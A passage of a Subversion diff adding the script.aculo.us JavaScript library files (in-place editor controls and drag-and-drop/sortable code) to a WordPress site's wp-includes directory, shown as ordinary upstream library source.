+    var value = $F(this._controls.editor);
+    this.prepareSubmission();
+    var params = this.options.callback(form, value) || '';
+    if (Object.isString(params))
+      params = params.toQueryParams();
+    params.editorId = this.element.id;
+    if (this.options.htmlResponse) {
+      var options = Object.extend({ evalScripts: true }, this.options.ajaxOptions);
+      Object.extend(options, {
+        parameters: params,
+        onComplete: this._boundWrapperHandler,
+        onFailure: this._boundFailureHandler
+      });
+      new Ajax.Updater({ success: this.element }, this.url, options);
+    } else {
+      var options = Object.extend({ method: 'get' }, this.options.ajaxOptions);
+      Object.extend(options, {
+        parameters: params,
+        onComplete: this._boundWrapperHandler,
+        onFailure: this._boundFailureHandler
+      });
+      new Ajax.Request(this.url, options);
+    }
+    if (e) Event.stop(e);
+  },
+  leaveEditMode: function() {
+    this.element.removeClassName(this.options.savingClassName);
+    this.removeForm();
+    this.leaveHover();
+    this.element.style.backgroundColor = this._originalBackground;
+    this.element.show();
+    if (this.options.externalControl)
+      this.options.externalControl.show();
+    this._saving = false;
+    this._editing = false;
+    this._oldInnerHTML = null;
+    this.triggerCallback('onLeaveEditMode');
+  },
+  leaveHover: function(e) {
+    if (this.options.hoverClassName)
+      this.element.removeClassName(this.options.hoverClassName);
+    if (this._saving) return;
+    this.triggerCallback('onLeaveHover');
+  },
+  loadExternalText: function() {
+    this._form.addClassName(this.options.loadingClassName);
+    this._controls.editor.disabled = true;
+    var options = Object.extend({ method: 'get' }, this.options.ajaxOptions);
+    Object.extend(options, {
+      parameters: 'editorId=' + encodeURIComponent(this.element.id),
+      onComplete: Prototype.emptyFunction,
+      onSuccess: function(transport) {
+        this._form.removeClassName(this.options.loadingClassName);
+        var text = transport.responseText;
+        if (this.options.stripLoadedTextTags)
+          text = text.stripTags();
+        this._controls.editor.value = text;
+        this._controls.editor.disabled = false;
+        this.postProcessEditField();
+      }.bind(this),
+      onFailure: this._boundFailureHandler
+    });
+    new Ajax.Request(this.options.loadTextURL, options);
+  },
+  postProcessEditField: function() {
+    var fpc = this.options.fieldPostCreation;
+    if (fpc)
+      $(this._controls.editor)['focus' == fpc ? 'focus' : 'activate']();
+  },
+  prepareOptions: function() {
+    this.options = Object.clone(Ajax.InPlaceEditor.DefaultOptions);
+    Object.extend(this.options, Ajax.InPlaceEditor.DefaultCallbacks);
+    [this._extraDefaultOptions].flatten().compact().each(function(defs) {
+      Object.extend(this.options, defs);
+    }.bind(this));
+  },
+  prepareSubmission: function() {
+    this._saving = true;
+    this.removeForm();
+    this.leaveHover();
+    this.showSaving();
+  },
+  registerListeners: function() {
+    this._listeners = { };
+    var listener;
+    $H(Ajax.InPlaceEditor.Listeners).each(function(pair) {
+      listener = this[pair.value].bind(this);
+      this._listeners[pair.key] = listener;
+      if (!this.options.externalControlOnly)
+        this.element.observe(pair.key, listener);
+      if (this.options.externalControl)
+        this.options.externalControl.observe(pair.key, listener);
+    }.bind(this));
+  },
+  removeForm: function() {
+    if (!this._form) return;
+    this._form.remove();
+    this._form = null;
+    this._controls = { };
+  },
+  showSaving: function() {
+    this._oldInnerHTML = this.element.innerHTML;
+    this.element.innerHTML = this.options.savingText;
+    this.element.addClassName(this.options.savingClassName);
+    this.element.style.backgroundColor = this._originalBackground;
+    this.element.show();
+  },
+  triggerCallback: function(cbName, arg) {
+    if ('function' == typeof this.options[cbName]) {
+      this.options[cbName](this, arg);
+    }
+  },
+  unregisterListeners: function() {
+    $H(this._listeners).each(function(pair) {
+      if (!this.options.externalControlOnly)
+        this.element.stopObserving(pair.key, pair.value);
+      if (this.options.externalControl)
+        this.options.externalControl.stopObserving(pair.key, pair.value);
+    }.bind(this));
+  },
+  wrapUp: function(transport) {
+    this.leaveEditMode();
+    // Can't use triggerCallback due to backward compatibility: requires
+    // binding + direct element
+    this._boundComplete(transport, this.element);
+  }
+});
+
+Object.extend(Ajax.InPlaceEditor.prototype, {
+  dispose: Ajax.InPlaceEditor.prototype.destroy
+});
+
+Ajax.InPlaceCollectionEditor = Class.create(Ajax.InPlaceEditor, {
+  initialize: function($super, element, url, options) {
+    this._extraDefaultOptions = Ajax.InPlaceCollectionEditor.DefaultOptions;
+    $super(element, url, options);
+  },
+
+  createEditField: function() {
+    var list = document.createElement('select');
+    list.name = this.options.paramName;
+    list.size = 1;
+    this._controls.editor = list;
+    this._collection = this.options.collection || [];
+    if (this.options.loadCollectionURL)
+      this.loadCollection();
+    else
+      this.checkForExternalText();
+    this._form.appendChild(this._controls.editor);
+  },
+
+  loadCollection: function() {
+    this._form.addClassName(this.options.loadingClassName);
+    this.showLoadingText(this.options.loadingCollectionText);
+    var options = Object.extend({ method: 'get' }, this.options.ajaxOptions);
+    Object.extend(options, {
+      parameters: 'editorId=' + encodeURIComponent(this.element.id),
+      onComplete: Prototype.emptyFunction,
+      onSuccess: function(transport) {
+        var js = transport.responseText.strip();
+        if (!/^\[.*\]$/.test(js)) // TODO: improve sanity check
+          throw 'Server returned an invalid collection representation.';
+        this._collection = eval(js);
+        this.checkForExternalText();
+      }.bind(this),
+      onFailure: this.onFailure
+    });
+    new Ajax.Request(this.options.loadCollectionURL, options);
+  },
+
+  showLoadingText: function(text) {
+    this._controls.editor.disabled = true;
+    var tempOption = this._controls.editor.firstChild;
+    if (!tempOption) {
+      tempOption = document.createElement('option');
+      tempOption.value = '';
+      this._controls.editor.appendChild(tempOption);
+      tempOption.selected = true;
+    }
+    tempOption.update((text || '').stripScripts().stripTags());
+  },
+
+  checkForExternalText: function() {
+    this._text = this.getText();
+    if (this.options.loadTextURL)
+      this.loadExternalText();
+    else
+      this.buildOptionList();
+  },
+
+  loadExternalText: function() {
+    this.showLoadingText(this.options.loadingText);
+    var options = Object.extend({ method: 'get' }, this.options.ajaxOptions);
+    Object.extend(options, {
+      parameters: 'editorId=' + encodeURIComponent(this.element.id),
+      onComplete: Prototype.emptyFunction,
+      onSuccess: function(transport) {
+        this._text = transport.responseText.strip();
+        this.buildOptionList();
+      }.bind(this),
+      onFailure: this.onFailure
+    });
+    new Ajax.Request(this.options.loadTextURL, options);
+  },
+
+  buildOptionList: function() {
+    this._form.removeClassName(this.options.loadingClassName);
+    this._collection = this._collection.map(function(entry) {
+      return 2 === entry.length ? entry : [entry, entry].flatten();
+    });
+    var marker = ('value' in this.options) ? this.options.value : this._text;
+    var textFound = this._collection.any(function(entry) {
+      return entry[0] == marker;
+    }.bind(this));
+    this._controls.editor.update('');
+    var option;
+    this._collection.each(function(entry, index) {
+      option = document.createElement('option');
+      option.value = entry[0];
+      option.selected = textFound ? entry[0] == marker : 0 == index;
+      option.appendChild(document.createTextNode(entry[1]));
+      this._controls.editor.appendChild(option);
+    }.bind(this));
+    this._controls.editor.disabled = false;
+    Field.scrollFreeActivate(this._controls.editor);
+  }
+});
+
+//**** DEPRECATION LAYER FOR InPlace[Collection]Editor! ****
+//**** This only  exists for a while,  in order to  let ****
+//**** users adapt to  the new API.  Read up on the new ****
+//**** API and convert your code to it ASAP!            ****
+
+Ajax.InPlaceEditor.prototype.initialize.dealWithDeprecatedOptions = function(options) {
+  if (!options) return;
+  function fallback(name, expr) {
+    if (name in options || expr === undefined) return;
+    options[name] = expr;
+  };
+  fallback('cancelControl', (options.cancelLink ? 'link' : (options.cancelButton ? 'button' :
+    options.cancelLink == options.cancelButton == false ? false : undefined)));
+  fallback('okControl', (options.okLink ? 'link' : (options.okButton ? 'button' :
+    options.okLink == options.okButton == false ? false : undefined)));
+  fallback('highlightColor', options.highlightcolor);
+  fallback('highlightEndColor', options.highlightendcolor);
+};
+
+Object.extend(Ajax.InPlaceEditor, {
+  DefaultOptions: {
+    ajaxOptions: { },
+    autoRows: 3,                                // Use when multi-line w/ rows == 1
+    cancelControl: 'link',                      // 'link'|'button'|false
+    cancelText: 'cancel',
+    clickToEditText: 'Click to edit',
+    externalControl: null,                      // id|elt
+    externalControlOnly: false,
+    fieldPostCreation: 'activate',              // 'activate'|'focus'|false
+    formClassName: 'inplaceeditor-form',
+    formId: null,                               // id|elt
+    highlightColor: '#ffff99',
+    highlightEndColor: '#ffffff',
+    hoverClassName: '',
+    htmlResponse: true,
+    loadingClassName: 'inplaceeditor-loading',
+    loadingText: 'Loading...',
+    okControl: 'button',                        // 'link'|'button'|false
+    okText: 'ok',
+    paramName: 'value',
+    rows: 1,                                    // If 1 and multi-line, uses autoRows
+    savingClassName: 'inplaceeditor-saving',
+    savingText: 'Saving...',
+    size: 0,
+    stripLoadedTextTags: false,
+    submitOnBlur: false,
+    textAfterControls: '',
+    textBeforeControls: '',
+    textBetweenControls: ''
+  },
+  DefaultCallbacks: {
+    callback: function(form) {
+      return Form.serialize(form);
+    },
+    onComplete: function(transport, element) {
+      // For backward compatibility, this one is bound to the IPE, and passes
+      // the element directly.  It was too often customized, so we don't break it.
+      new Effect.Highlight(element, {
+        startcolor: this.options.highlightColor, keepBackgroundImage: true });
+    },
+    onEnterEditMode: null,
+    onEnterHover: function(ipe) {
+      ipe.element.style.backgroundColor = ipe.options.highlightColor;
+      if (ipe._effect)
+        ipe._effect.cancel();
+    },
+    onFailure: function(transport, ipe) {
+      alert('Error communication with the server: ' + transport.responseText.stripTags());
+    },
+    onFormCustomization: null, // Takes the IPE and its generated form, after editor, before controls.
+    onLeaveEditMode: null,
+    onLeaveHover: function(ipe) {
+      ipe._effect = new Effect.Highlight(ipe.element, {
+        startcolor: ipe.options.highlightColor, endcolor: ipe.options.highlightEndColor,
+        restorecolor: ipe._originalBackground, keepBackgroundImage: true
+      });
+    }
+  },
+  Listeners: {
+    click: 'enterEditMode',
+    keydown: 'checkForEscapeOrReturn',
+    mouseover: 'enterHover',
+    mouseout: 'leaveHover'
+  }
+});
+
+Ajax.InPlaceCollectionEditor.DefaultOptions = {
+  loadingCollectionText: 'Loading options...'
+};
+
+// Delayed observer, like Form.Element.Observer, 
+// but waits for delay after last key input
+// Ideal for live-search fields
+
+Form.Element.DelayedObserver = Class.create({
+  initialize: function(element, delay, callback) {
+    this.delay     = delay || 0.5;
+    this.element   = $(element);
+    this.callback  = callback;
+    this.timer     = null;
+    this.lastValue = $F(this.element); 
+    Event.observe(this.element,'keyup',this.delayedListener.bindAsEventListener(this));
+  },
+  delayedListener: function(event) {
+    if(this.lastValue == $F(this.element)) return;
+    if(this.timer) clearTimeout(this.timer);
+    this.timer = setTimeout(this.onTimerEvent.bind(this), this.delay * 1000);
+    this.lastValue = $F(this.element);
+  },
+  onTimerEvent: function() {
+    this.timer = null;
+    this.callback(this.element, $F(this.element));
+  }
+});
Index: /trunk/www.guidonia.net/wp/wp-includes/js/scriptaculous/dragdrop.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/scriptaculous/dragdrop.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/scriptaculous/dragdrop.js	(revision 44)
@@ -0,0 +1,974 @@
+// script.aculo.us dragdrop.js v1.8.0, Tue Nov 06 15:01:40 +0300 2007
+
+// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
+//           (c) 2005-2007 Sammi Williams (http://www.oriontransfer.co.nz, sammi@oriontransfer.co.nz)
+// 
+// script.aculo.us is freely distributable under the terms of an MIT-style license.
+// For details, see the script.aculo.us web site: http://script.aculo.us/
+
+if(Object.isUndefined(Effect))
+  throw("dragdrop.js requires including script.aculo.us' effects.js library");
+
+var Droppables = {
+  drops: [],
+
+  remove: function(element) {
+    this.drops = this.drops.reject(function(d) { return d.element==$(element) });
+  },
+
+  add: function(element) {
+    element = $(element);
+    var options = Object.extend({
+      greedy:     true,
+      hoverclass: null,
+      tree:       false
+    }, arguments[1] || { });
+
+    // cache containers
+    if(options.containment) {
+      options._containers = [];
+      var containment = options.containment;
+      if(Object.isArray(containment)) {
+        containment.each( function(c) { options._containers.push($(c)) });
+      } else {
+        options._containers.push($(containment));
+      }
+    }
+    
+    if(options.accept) options.accept = [options.accept].flatten();
+
+    Element.makePositioned(element); // fix IE
+    options.element = element;
+
+    this.drops.push(options);
+  },
+  
+  findDeepestChild: function(drops) {
+    deepest = drops[0];
+      
+    for (i = 1; i < drops.length; ++i)
+      if (Element.isParent(drops[i].element, deepest.element))
+        deepest = drops[i];
+    
+    return deepest;
+  },
+
+  isContained: function(element, drop) {
+    var containmentNode;
+    if(drop.tree) {
+      containmentNode = element.treeNode; 
+    } else {
+      containmentNode = element.parentNode;
+    }
+    return drop._containers.detect(function(c) { return containmentNode == c });
+  },
+  
+  isAffected: function(point, element, drop) {
+    return (
+      (drop.element!=element) &&
+      ((!drop._containers) ||
+        this.isContained(element, drop)) &&
+      ((!drop.accept) ||
+        (Element.classNames(element).detect( 
+          function(v) { return drop.accept.include(v) } ) )) &&
+      Position.within(drop.element, point[0], point[1]) );
+  },
+
+  deactivate: function(drop) {
+    if(drop.hoverclass)
+      Element.removeClassName(drop.element, drop.hoverclass);
+    this.last_active = null;
+  },
+
+  activate: function(drop) {
+    if(drop.hoverclass)
+      Element.addClassName(drop.element, drop.hoverclass);
+    this.last_active = drop;
+  },
+
+  show: function(point, element) {
+    if(!this.drops.length) return;
+    var drop, affected = [];
+    
+    this.drops.each( function(drop) {
+      if(Droppables.isAffected(point, element, drop))
+        affected.push(drop);
+    });
+        
+    if(affected.length>0)
+      drop = Droppables.findDeepestChild(affected);
+
+    if(this.last_active && this.last_active != drop) this.deactivate(this.last_active);
+    if (drop) {
+      Position.within(drop.element, point[0], point[1]);
+      if(drop.onHover)
+        drop.onHover(element, drop.element, Position.overlap(drop.overlap, drop.element));
+      
+      if (drop != this.last_active) Droppables.activate(drop);
+    }
+  },
+
+  fire: function(event, element) {
+    if(!this.last_active) return;
+    Position.prepare();
+
+    if (this.isAffected([Event.pointerX(event), Event.pointerY(event)], element, this.last_active))
+      if (this.last_active.onDrop) {
+        this.last_active.onDrop(element, this.last_active.element, event); 
+        return true; 
+      }
+  },
+
+  reset: function() {
+    if(this.last_active)
+      this.deactivate(this.last_active);
+  }
+}
+
+var Draggables = {
+  drags: [],
+  observers: [],
+  
+  register: function(draggable) {
+    if(this.drags.length == 0) {
+      this.eventMouseUp   = this.endDrag.bindAsEventListener(this);
+      this.eventMouseMove = this.updateDrag.bindAsEventListener(this);
+      this.eventKeypress  = this.keyPress.bindAsEventListener(this);
+      
+      Event.observe(document, "mouseup", this.eventMouseUp);
+      Event.observe(document, "mousemove", this.eventMouseMove);
+      Event.observe(document, "keypress", this.eventKeypress);
+    }
+    this.drags.push(draggable);
+  },
+  
+  unregister: function(draggable) {
+    this.drags = this.drags.reject(function(d) { return d==draggable });
+    if(this.drags.length == 0) {
+      Event.stopObserving(document, "mouseup", this.eventMouseUp);
+      Event.stopObserving(document, "mousemove", this.eventMouseMove);
+      Event.stopObserving(document, "keypress", this.eventKeypress);
+    }
+  },
+  
+  activate: function(draggable) {
+    if(draggable.options.delay) { 
+      this._timeout = setTimeout(function() { 
+        Draggables._timeout = null; 
+        window.focus(); 
+        Draggables.activeDraggable = draggable; 
+      }.bind(this), draggable.options.delay); 
+    } else {
+      window.focus(); // allows keypress events if window isn't currently focused, fails for Safari
+      this.activeDraggable = draggable;
+    }
+  },
+  
+  deactivate: function() {
+    this.activeDraggable = null;
+  },
+  
+  updateDrag: function(event) {
+    if(!this.activeDraggable) return;
+    var pointer = [Event.pointerX(event), Event.pointerY(event)];
+    // Mozilla-based browsers fire successive mousemove events with
+    // the same coordinates, prevent needless redrawing (moz bug?)
+    if(this._lastPointer && (this._lastPointer.inspect() == pointer.inspect())) return;
+    this._lastPointer = pointer;
+    
+    this.activeDraggable.updateDrag(event, pointer);
+  },
+  
+  endDrag: function(event) {
+    if(this._timeout) { 
+      clearTimeout(this._timeout); 
+      this._timeout = null; 
+    }
+    if(!this.activeDraggable) return;
+    this._lastPointer = null;
+    this.activeDraggable.endDrag(event);
+    this.activeDraggable = null;
+  },
+  
+  keyPress: function(event) {
+    if(this.activeDraggable)
+      this.activeDraggable.keyPress(event);
+  },
+  
+  addObserver: function(observer) {
+    this.observers.push(observer);
+    this._cacheObserverCallbacks();
+  },
+  
+  removeObserver: function(element) {  // element instead of observer fixes mem leaks
+    this.observers = this.observers.reject( function(o) { return o.element==element });
+    this._cacheObserverCallbacks();
+  },
+  
+  notify: function(eventName, draggable, event) {  // 'onStart', 'onEnd', 'onDrag'
+    if(this[eventName+'Count'] > 0)
+      this.observers.each( function(o) {
+        if(o[eventName]) o[eventName](eventName, draggable, event);
+      });
+    if(draggable.options[eventName]) draggable.options[eventName](draggable, event);
+  },
+  
+  _cacheObserverCallbacks: function() {
+    ['onStart','onEnd','onDrag'].each( function(eventName) {
+      Draggables[eventName+'Count'] = Draggables.observers.select(
+        function(o) { return o[eventName]; }
+      ).length;
+    });
+  }
+}
+
+/*--------------------------------------------------------------------------*/
+
+var Draggable = Class.create({
+  initialize: function(element) {
+    var defaults = {
+      handle: false,
+      reverteffect: function(element, top_offset, left_offset) {
+        var dur = Math.sqrt(Math.abs(top_offset^2)+Math.abs(left_offset^2))*0.02;
+        new Effect.Move(element, { x: -left_offset, y: -top_offset, duration: dur,
+          queue: {scope:'_draggable', position:'end'}
+        });
+      },
+      endeffect: function(element) {
+        var toOpacity = Object.isNumber(element._opacity) ? element._opacity : 1.0;
+        new Effect.Opacity(element, {duration:0.2, from:0.7, to:toOpacity, 
+          queue: {scope:'_draggable', position:'end'},
+          afterFinish: function(){ 
+            Draggable._dragging[element] = false 
+          }
+        }); 
+      },
+      zindex: 1000,
+      revert: false,
+      quiet: false,
+      scroll: false,
+      scrollSensitivity: 20,
+      scrollSpeed: 15,
+      snap: false,  // false, or xy or [x,y] or function(x,y){ return [x,y] }
+      delay: 0
+    };
+    
+    if(!arguments[1] || Object.isUndefined(arguments[1].endeffect))
+      Object.extend(defaults, {
+        starteffect: function(element) {
+          element._opacity = Element.getOpacity(element);
+          Draggable._dragging[element] = true;
+          new Effect.Opacity(element, {duration:0.2, from:element._opacity, to:0.7}); 
+        }
+      });
+    
+    var options = Object.extend(defaults, arguments[1] || { });
+
+    this.element = $(element);
+    
+    if(options.handle && Object.isString(options.handle))
+      this.handle = this.element.down('.'+options.handle, 0);
+    
+    if(!this.handle) this.handle = $(options.handle);
+    if(!this.handle) this.handle = this.element;
+    
+    if(options.scroll && !options.scroll.scrollTo && !options.scroll.outerHTML) {
+      options.scroll = $(options.scroll);
+      this._isScrollChild = Element.childOf(this.element, options.scroll);
+    }
+
+    Element.makePositioned(this.element); // fix IE    
+
+    this.options  = options;
+    this.dragging = false;   
+
+    this.eventMouseDown = this.initDrag.bindAsEventListener(this);
+    Event.observe(this.handle, "mousedown", this.eventMouseDown);
+    
+    Draggables.register(this);
+  },
+  
+  destroy: function() {
+    Event.stopObserving(this.handle, "mousedown", this.eventMouseDown);
+    Draggables.unregister(this);
+  },
+  
+  currentDelta: function() {
+    return([
+      parseInt(Element.getStyle(this.element,'left') || '0'),
+      parseInt(Element.getStyle(this.element,'top') || '0')]);
+  },
+  
+  initDrag: function(event) {
+    if(!Object.isUndefined(Draggable._dragging[this.element]) &&
+      Draggable._dragging[this.element]) return;
+    if(Event.isLeftClick(event)) {    
+      // abort on form elements, fixes a Firefox issue
+      var src = Event.element(event);
+      if((tag_name = src.tagName.toUpperCase()) && (
+        tag_name=='INPUT' ||
+        tag_name=='SELECT' ||
+        tag_name=='OPTION' ||
+        tag_name=='BUTTON' ||
+        tag_name=='TEXTAREA')) return;
+        
+      var pointer = [Event.pointerX(event), Event.pointerY(event)];
+      var pos     = Position.cumulativeOffset(this.element);
+      this.offset = [0,1].map( function(i) { return (pointer[i] - pos[i]) });
+      
+      Draggables.activate(this);
+      Event.stop(event);
+    }
+  },
+  
+  startDrag: function(event) {
+    this.dragging = true;
+    if(!this.delta)
+      this.delta = this.currentDelta();
+    
+    if(this.options.zindex) {
+      this.originalZ = parseInt(Element.getStyle(this.element,'z-index') || 0);
+      this.element.style.zIndex = this.options.zindex;
+    }
+    
+    if(this.options.ghosting) {
+      this._clone = this.element.cloneNode(true);
+      this.element._originallyAbsolute = (this.element.getStyle('position') == 'absolute');
+      if (!this.element._originallyAbsolute)
+        Position.absolutize(this.element);
+      this.element.parentNode.insertBefore(this._clone, this.element);
+    }
+    
+    if(this.options.scroll) {
+      if (this.options.scroll == window) {
+        var where = this._getWindowScroll(this.options.scroll);
+        this.originalScrollLeft = where.left;
+        this.originalScrollTop = where.top;
+      } else {
+        this.originalScrollLeft = this.options.scroll.scrollLeft;
+        this.originalScrollTop = this.options.scroll.scrollTop;
+      }
+    }
+    
+    Draggables.notify('onStart', this, event);
+        
+    if(this.options.starteffect) this.options.starteffect(this.element);
+  },
+  
+  updateDrag: function(event, pointer) {
+    if(!this.dragging) this.startDrag(event);
+    
+    if(!this.options.quiet){
+      Position.prepare();
+      Droppables.show(pointer, this.element);
+    }
+    
+    Draggables.notify('onDrag', this, event);
+    
+    this.draw(pointer);
+    if(this.options.change) this.options.change(this);
+    
+    if(this.options.scroll) {
+      this.stopScrolling();
+      
+      var p;
+      if (this.options.scroll == window) {
+        with(this._getWindowScroll(this.options.scroll)) { p = [ left, top, left+width, top+height ]; }
+      } else {
+        p = Position.page(this.options.scroll);
+        p[0] += this.options.scroll.scrollLeft + Position.deltaX;
+        p[1] += this.options.scroll.scrollTop + Position.deltaY;
+        p.push(p[0]+this.options.scroll.offsetWidth);
+        p.push(p[1]+this.options.scroll.offsetHeight);
+      }
+      var speed = [0,0];
+      if(pointer[0] < (p[0]+this.options.scrollSensitivity)) speed[0] = pointer[0]-(p[0]+this.options.scrollSensitivity);
+      if(pointer[1] < (p[1]+this.options.scrollSensitivity)) speed[1] = pointer[1]-(p[1]+this.options.scrollSensitivity);
+      if(pointer[0] > (p[2]-this.options.scrollSensitivity)) speed[0] = pointer[0]-(p[2]-this.options.scrollSensitivity);
+      if(pointer[1] > (p[3]-this.options.scrollSensitivity)) speed[1] = pointer[1]-(p[3]-this.options.scrollSensitivity);
+      this.startScrolling(speed);
+    }
+    
+    // fix AppleWebKit rendering
+    if(Prototype.Browser.WebKit) window.scrollBy(0,0);
+    
+    Event.stop(event);
+  },
+  
+  finishDrag: function(event, success) {
+    this.dragging = false;
+    
+    if(this.options.quiet){
+      Position.prepare();
+      var pointer = [Event.pointerX(event), Event.pointerY(event)];
+      Droppables.show(pointer, this.element);
+    }
+
+    if(this.options.ghosting) {
+      if (!this.element._originallyAbsolute)
+        Position.relativize(this.element);
+      delete this.element._originallyAbsolute;
+      Element.remove(this._clone);
+      this._clone = null;
+    }
+
+    var dropped = false; 
+    if(success) { 
+      dropped = Droppables.fire(event, this.element); 
+      if (!dropped) dropped = false; 
+    }
+    if(dropped && this.options.onDropped) this.options.onDropped(this.element);
+    Draggables.notify('onEnd', this, event);
+
+    var revert = this.options.revert;
+    if(revert && Object.isFunction(revert)) revert = revert(this.element);
+    
+    var d = this.currentDelta();
+    if(revert && this.options.reverteffect) {
+      if (dropped == 0 || revert != 'failure')
+        this.options.reverteffect(this.element,
+          d[1]-this.delta[1], d[0]-this.delta[0]);
+    } else {
+      this.delta = d;
+    }
+
+    if(this.options.zindex)
+      this.element.style.zIndex = this.originalZ;
+
+    if(this.options.endeffect) 
+      this.options.endeffect(this.element);
+      
+    Draggables.deactivate(this);
+    Droppables.reset();
+  },
+  
+  keyPress: function(event) {
+    if(event.keyCode!=Event.KEY_ESC) return;
+    this.finishDrag(event, false);
+    Event.stop(event);
+  },
+  
+  endDrag: function(event) {
+    if(!this.dragging) return;
+    this.stopScrolling();
+    this.finishDrag(event, true);
+    Event.stop(event);
+  },
+  
+  draw: function(point) {
+    var pos = Position.cumulativeOffset(this.element);
+    if(this.options.ghosting) {
+      var r   = Position.realOffset(this.element);
+      pos[0] += r[0] - Position.deltaX; pos[1] += r[1] - Position.deltaY;
+    }
+    
+    var d = this.currentDelta();
+    pos[0] -= d[0]; pos[1] -= d[1];
+    
+    if(this.options.scroll && (this.options.scroll != window && this._isScrollChild)) {
+      pos[0] -= this.options.scroll.scrollLeft-this.originalScrollLeft;
+      pos[1] -= this.options.scroll.scrollTop-this.originalScrollTop;
+    }
+    
+    var p = [0,1].map(function(i){ 
+      return (point[i]-pos[i]-this.offset[i]) 
+    }.bind(this));
+    
+    if(this.options.snap) {
+      if(Object.isFunction(this.options.snap)) {
+        p = this.options.snap(p[0],p[1],this);
+      } else {
+      if(Object.isArray(this.options.snap)) {
+        p = p.map( function(v, i) {
+          return (v/this.options.snap[i]).round()*this.options.snap[i] }.bind(this))
+      } else {
+        p = p.map( function(v) {
+          return (v/this.options.snap).round()*this.options.snap }.bind(this))
+      }
+    }}
+    
+    var style = this.element.style;
+    if((!this.options.constraint) || (this.options.constraint=='horizontal'))
+      style.left = p[0] + "px";
+    if((!this.options.constraint) || (this.options.constraint=='vertical'))
+      style.top  = p[1] + "px";
+    
+    if(style.visibility=="hidden") style.visibility = ""; // fix gecko rendering
+  },
+  
+  stopScrolling: function() {
+    if(this.scrollInterval) {
+      clearInterval(this.scrollInterval);
+      this.scrollInterval = null;
+      Draggables._lastScrollPointer = null;
+    }
+  },
+  
+  startScrolling: function(speed) {
+    if(!(speed[0] || speed[1])) return;
+    this.scrollSpeed = [speed[0]*this.options.scrollSpeed,speed[1]*this.options.scrollSpeed];
+    this.lastScrolled = new Date();
+    this.scrollInterval = setInterval(this.scroll.bind(this), 10);
+  },
+  
+  scroll: function() {
+    var current = new Date();
+    var delta = current - this.lastScrolled;
+    this.lastScrolled = current;
+    if(this.options.scroll == window) {
+      with (this._getWindowScroll(this.options.scroll)) {
+        if (this.scrollSpeed[0] || this.scrollSpeed[1]) {
+          var d = delta / 1000;
+          this.options.scroll.scrollTo( left + d*this.scrollSpeed[0], top + d*this.scrollSpeed[1] );
+        }
+      }
+    } else {
+      this.options.scroll.scrollLeft += this.scrollSpeed[0] * delta / 1000;
+      this.options.scroll.scrollTop  += this.scrollSpeed[1] * delta / 1000;
+    }
+    
+    Position.prepare();
+    Droppables.show(Draggables._lastPointer, this.element);
+    Draggables.notify('onDrag', this);
+    if (this._isScrollChild) {
+      Draggables._lastScrollPointer = Draggables._lastScrollPointer || $A(Draggables._lastPointer);
+      Draggables._lastScrollPointer[0] += this.scrollSpeed[0] * delta / 1000;
+      Draggables._lastScrollPointer[1] += this.scrollSpeed[1] * delta / 1000;
+      if (Draggables._lastScrollPointer[0] < 0)
+        Draggables._lastScrollPointer[0] = 0;
+      if (Draggables._lastScrollPointer[1] < 0)
+        Draggables._lastScrollPointer[1] = 0;
+      this.draw(Draggables._lastScrollPointer);
+    }
+    
+    if(this.options.change) this.options.change(this);
+  },
+  
+  _getWindowScroll: function(w) {
+    var T, L, W, H;
+    with (w.document) {
+      if (w.document.documentElement && documentElement.scrollTop) {
+        T = documentElement.scrollTop;
+        L = documentElement.scrollLeft;
+      } else if (w.document.body) {
+        T = body.scrollTop;
+        L = body.scrollLeft;
+      }
+      if (w.innerWidth) {
+        W = w.innerWidth;
+        H = w.innerHeight;
+      } else if (w.document.documentElement && documentElement.clientWidth) {
+        W = documentElement.clientWidth;
+        H = documentElement.clientHeight;
+      } else {
+        W = body.offsetWidth;
+        H = body.offsetHeight
+      }
+    }
+    return { top: T, left: L, width: W, height: H };
+  }
+});
+
+Draggable._dragging = { };
+
+/*--------------------------------------------------------------------------*/
+
+var SortableObserver = Class.create({
+  initialize: function(element, observer) {
+    this.element   = $(element);
+    this.observer  = observer;
+    this.lastValue = Sortable.serialize(this.element);
+  },
+  
+  onStart: function() {
+    this.lastValue = Sortable.serialize(this.element);
+  },
+  
+  onEnd: function() {
+    Sortable.unmark();
+    if(this.lastValue != Sortable.serialize(this.element))
+      this.observer(this.element)
+  }
+});
+
+var Sortable = {
+  SERIALIZE_RULE: /^[^_\-](?:[A-Za-z0-9\-\_]*)[_](.*)$/,
+  
+  sortables: { },
+  
+  _findRootElement: function(element) {
+    while (element.tagName.toUpperCase() != "BODY") {  
+      if(element.id && Sortable.sortables[element.id]) return element;
+      element = element.parentNode;
+    }
+  },
+
+  options: function(element) {
+    element = Sortable._findRootElement($(element));
+    if(!element) return;
+    return Sortable.sortables[element.id];
+  },
+  
+  destroy: function(element){
+    var s = Sortable.options(element);
+    
+    if(s) {
+      Draggables.removeObserver(s.element);
+      s.droppables.each(function(d){ Droppables.remove(d) });
+      s.draggables.invoke('destroy');
+      
+      delete Sortable.sortables[s.element.id];
+    }
+  },
+
+  create: function(element) {
+    element = $(element);
+    var options = Object.extend({ 
+      element:     element,
+      tag:         'li',       // assumes li children, override with tag: 'tagname'
+      dropOnEmpty: false,
+      tree:        false,
+      treeTag:     'ul',
+      overlap:     'vertical', // one of 'vertical', 'horizontal'
+      constraint:  'vertical', // one of 'vertical', 'horizontal', false
+      containment: element,    // also takes array of elements (or id's); or false
+      handle:      false,      // or a CSS class
+      only:        false,
+      delay:       0,
+      hoverclass:  null,
+      ghosting:    false,
+      quiet:       false, 
+      scroll:      false,
+      scrollSensitivity: 20,
+      scrollSpeed: 15,
+      format:      this.SERIALIZE_RULE,
+      
+      // these take arrays of elements or ids and can be 
+      // used for better initialization performance
+      elements:    false,
+      handles:     false,
+      
+      onChange:    Prototype.emptyFunction,
+      onUpdate:    Prototype.emptyFunction
+    }, arguments[1] || { });
+
+    // clear any old sortable with same element
+    this.destroy(element);
+
+    // build options for the draggables
+    var options_for_draggable = {
+      revert:      true,
+      quiet:       options.quiet,
+      scroll:      options.scroll,
+      scrollSpeed: options.scrollSpeed,
+      scrollSensitivity: options.scrollSensitivity,
+      delay:       options.delay,
+      ghosting:    options.ghosting,
+      constraint:  options.constraint,
+      handle:      options.handle };
+
+    if(options.starteffect)
+      options_for_draggable.starteffect = options.starteffect;
+
+    if(options.reverteffect)
